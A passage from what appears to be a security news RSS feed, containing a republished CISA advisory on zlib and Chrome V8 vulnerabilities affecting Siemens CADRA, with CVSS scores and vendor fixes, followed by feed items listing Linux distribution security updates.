<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens CADRA</td>
<td>Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Commercial Facilities, Communications, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2005-2096</a></h3>
<div class="csaf-accordion-content">
<p>zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2005-2096">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9840</a></h3>
<div class="csaf-accordion-content">
<p>inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9840">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9841</a></h3>
<div class="csaf-accordion-content">
<p>inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9841">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9842</a></h3>
<div class="csaf-accordion-content">
<p>The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9842">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2017-14919</a></h3>
<div class="csaf-accordion-content">
<p>Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2017-14919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.0</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2018-25032</a></h3>
<div class="csaf-accordion-content">
<p>zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2018-25032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37434</a></h3>
<div class="csaf-accordion-content">
<p>zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-45853</a></h3>
<div class="csaf-accordion-content">
<p>MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-45853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10585</a></h3>
<div class="csaf-accordion-content">
<p>Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10585">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13223</a></h3>
<div class="csaf-accordion-content">
<p>Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13223">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22184</a></h3>
<div class="csaf-accordion-content">
<p>zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22184">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>0</td>
<td>NONE</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3682687/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682687/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 21 Jul 2026 07:17:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (kernel, libnfs, roundcube, and tiff), Fedora (antlr4-project, chromium, erlang, libseccomp, libtiff, log4cxx, mbedtls, node-exporter, opam, openssh, proftpd, python-asyncssh, python-django5, python-libcst, python-orjson, python-uv-build, ruby, rust-ast...]]></description>
<link>https://tsecurity.de/de/3681213/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681213/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 20 Jul 2026 15:10:28 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (kernel, libnfs, roundcube, and tiff), <b>Fedora</b> (antlr4-project, chromium, erlang, libseccomp, libtiff, log4cxx, mbedtls, node-exporter, opam, openssh, proftpd, python-asyncssh, python-django5, python-libcst, python-orjson, python-uv-build, ruby, rust-astral_async_zip, spoofdpi, uv, and yq), <b>Mageia</b> (bind, clamav, erlang, libidn, libreoffice, nmap, nodejs, perl-Bytes-Random-Secure, perl-Config-IniFiles, perl-CSS-Minifier-XS, perl-HTML-Parser, perl-Mojolicious, perl-String-Util, python-pydantic-settings, rsync, and upower), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, bind, cockpit, cockpit-image-builder, coreutils, delve, dnsmasq, dovecot, expat, fence-agents, flatpak, frr, gdk-pixbuf2, giflib, glib2, go-fdo-client and go-fdo-server, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, httpd, jq, kernel, keylime, krb5, libcap, libexif, libpng, libsndfile, libsolv, libsoup3, libtasn1, libtiff, libxslt, libyang, mariadb10.11, mod_http2, mod_md, opencryptoki, PackageKit, perl-Archive-Tar, perl-IO-Compress, poppler, postfix, postgresql-jdbc, python-urllib3, python3.14, python3.14-pip, python3.14-urllib3, qt6-qtdeclarative, rrdtool, rsync, ruby, ruby4.0, samba, skopeo, thunderbird, valkey, wireshark, xorg-x11-server-Xwayland, and yggdrasil-worker-package-manager), and <b>SUSE</b> (blender, chromium, containerized-data-importer1, cyrus-imapd, go1.26-openssl, gomuks, grafana, gstreamer-plugins-bad, kbfs, kubevirt1.8-container-disk, libxml2, lux, mariadb-connector-c, nginx, opam, openssl-3, oras, perl-DBI, php-composer2, python-django-haystack, python-paramiko, python-weasyprint, python311, python313-Pillow, python315, shibboleth-sp, system-user-zabbix, and wget).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (cifs-utils, container-tools:rhel8, libreoffice, nodejs:24, perl-XML-LibXML, and python3.12), Fedora (ansible-collection-ansible-posix, firefox, freerdp, ImageMagick, mingw-glib2, perl-DBI, perl-HTTP-Date, rust-cargo-rpmstatus, and rust-opendal), Ora...]]></description>
<link>https://tsecurity.de/de/3676176/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676176/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (cifs-utils, container-tools:rhel8, libreoffice, nodejs:24, perl-XML-LibXML, and python3.12), <b>Fedora</b> (ansible-collection-ansible-posix, firefox, freerdp, ImageMagick, mingw-glib2, perl-DBI, perl-HTTP-Date, rust-cargo-rpmstatus, and rust-opendal), <b>Oracle</b> (cifs-utils, gegl, gimp, git-lfs, go-toolset:ol8, hplip, kernel, libreoffice, maven:3.9, perl-XML-LibXML, python3, python3.12, python3.9, and uek-kernel), <b>Red Hat</b> (kernel, kernel-rt, and podman), <b>Slackware</b> (netatalk), <b>SUSE</b> (agama, aws-nitro-enclaves-binaryblobs-upstream, gimp, gpsd, grafana, hostapd, ImageMagick, jackson-databind, kernel, libssh2_org, nm-configurator, opennlp, perl-Mojolicious, python-Pillow, python-python-engineio, python-python-socketio, and tomcat11), and <b>Ubuntu</b> (ntfs-3g, python-authlib, ruby2.3, tar, and ubuntu-advantage-tools).]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3673731/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673731/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Thu, 16 Jul 2026 16:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[How Absolute Security CMO Ash Parikh Thinks About Marketing, Pipeline, and Working with the Board]]></title>
<description><![CDATA[Most CMOs come up through marketing. Ash Parikh came up through engineering and sales, and he thinks that is exactly why he does the job differently.

He joins Gianna and Charles on CyberCMO Confidential as the CMO of Absolute Security to talk about what 25 years of carrying a bag, presenting to ...]]></description>
<link>https://tsecurity.de/de/3669598/it-security-nachrichten/how-absolute-security-cmo-ash-parikh-thinks-about-marketing-pipeline-and-working-with-the-board/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669598/it-security-nachrichten/how-absolute-security-cmo-ash-parikh-thinks-about-marketing-pipeline-and-working-with-the-board/</guid>
<pubDate>Wed, 15 Jul 2026 07:06:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
